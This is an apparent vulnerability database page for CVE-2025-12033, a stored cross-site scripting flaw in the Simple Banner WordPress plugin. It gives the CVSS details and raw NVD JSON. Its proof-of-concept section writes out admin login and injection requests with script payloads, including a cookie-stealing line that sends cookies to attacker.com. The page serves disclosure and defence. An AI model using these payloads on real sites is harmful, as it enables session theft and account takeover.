Security Vulnerability Report
中文
CVE-2025-12033 CVSS 4.4 MEDIUM

CVE-2025-12033

Published: 2025-10-22 07:15:33
Last Modified: 2026-04-15 00:35:42

Description

The Simple Banner – Easily add multiple Banners/Bars/Notifications/Announcements to the top or bottom of your website plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'pro_version_activation_code' parameter in all versions up to, and including, 3.0.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Simple Banner插件 <= 3.0.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12033 PoC - Simple Banner Plugin Stored XSS Target: Simple Banner WordPress Plugin <= 3.0.10 Vulnerable Parameter: pro_version_activation_code Required Privilege: Administrator --> <!-- Step 1: Authenticate as administrator --> POST /wp-login.php HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/x-www-form-urlencoded log=admin&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1 <!-- Step 2: Inject malicious payload via pro_version_activation_code parameter --> POST /wp-admin/options.php HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/x-www-form-urlencoded Cookie: wordpress_logged_in_[hash]=... option_page=simple-banner-group&action=update&_wpnonce=...&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dsimple-banner &simple_banner_pro_version_activation_code="><script>alert(document.cookie)</script> &simple_banner_banner_enabled=1 &simple_banner_banner_text=Test &submit=Save+Changes <!-- Alternative payload using event handler (more stealthy) --> <!-- "><img src=x onerror=alert(document.cookie)> --> <!-- Cookie stealing payload example --> <!-- "><script>document.location='https://attacker.com/steal.php?c='+document.cookie</script> --> <!-- After injection, any user visiting the banner settings page or pages displaying the banner will trigger the XSS --> <!-- The malicious script executes in the context of the victim's browser session -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12033", "sourceIdentifier": "[email protected]", "published": "2025-10-22T07:15:32.770", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Banner – Easily add multiple Banners/Bars/Notifications/Announcements to the top or bottom of your website plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'pro_version_activation_code' parameter in all versions up to, and including, 3.0.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3363618%40simple-banner&new=3363618%40simple-banner&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9b620481-8f45-4616-9b22-2dd14733325c?source=cve", "source": "[email protected]"}]}}